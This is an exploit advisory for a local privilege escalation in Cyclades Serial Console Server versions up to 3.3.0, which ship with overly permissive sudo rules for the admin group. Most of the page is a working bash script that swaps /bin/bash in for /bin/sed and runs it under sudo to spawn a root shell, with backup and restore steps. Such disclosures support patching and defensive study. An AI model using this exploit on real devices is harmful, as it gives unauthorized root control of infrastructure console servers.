Cyclades Serial Console Server 3.3.0 Privilege Escalation

2022.02.22
Credit: ibby
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

# Exploit Title: Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation # Date: 09 Feb 2022 # Exploit Author: @ibby # Vendor Homepage: https://www.vertiv.com/en-us/ # Software Link: https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip # Version: Legacy Versions V_1.0.0 to V_3.3.0-16 # Tested on: Cyclades Serial Console Server software (V_1.0.0 to V_3.3.0-16) # CVE : N/A # The reason this exists, is the admin user & user group is the default user for these devices. The software ships with overly permissive sudo privileges ## for any user in the admin group, or the default admin user. This vulnerability exists in all legacy versions of the software - the last version being from ~2014. ### This vulnerability does not exist in the newer distributions of the ACS Software. #!/bin/bash ## NOTE: To view the vulnerability yourself, uncomment the below code & run as sudo, since it's mounting a file system. ## The software is publicly available, this will grab it and unpack the firmware for you. #TMPDIR=$(mktemp -d) #curl 'https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip' -o FL0536-017.zip && unzip FL0536-017.zip $$ binwalk -e FL0536-017.bin #sudo mount -o ro,loop _FL0536-017.bin.extracted/148000 $TMPDIR && sudo cat "$TMPDIR/etc/sudoers" #echo "As you can see, the sudo permissions on various binaries, like that of /bin/mv, are risky." # ! EXPLOIT CODE BELOW ! # # ------- # Once you exit the root shell, this will clean up and put the binaries back where they belong. echo "Creating backups of sed & bash binaries" sudo cp /bin/sed /bin/sed.bak sudo cp /bin/bash /bin/bash.bak echo "Saved as bash.bak & sed.bak" sudo mv /bin/bash /bin/sed sudo /bin/sed echo "Replacing our binary with the proper one" sudo mv /bin/bash.bak /bin/bash && sudo mv /bin/sed.bak /bin/sed


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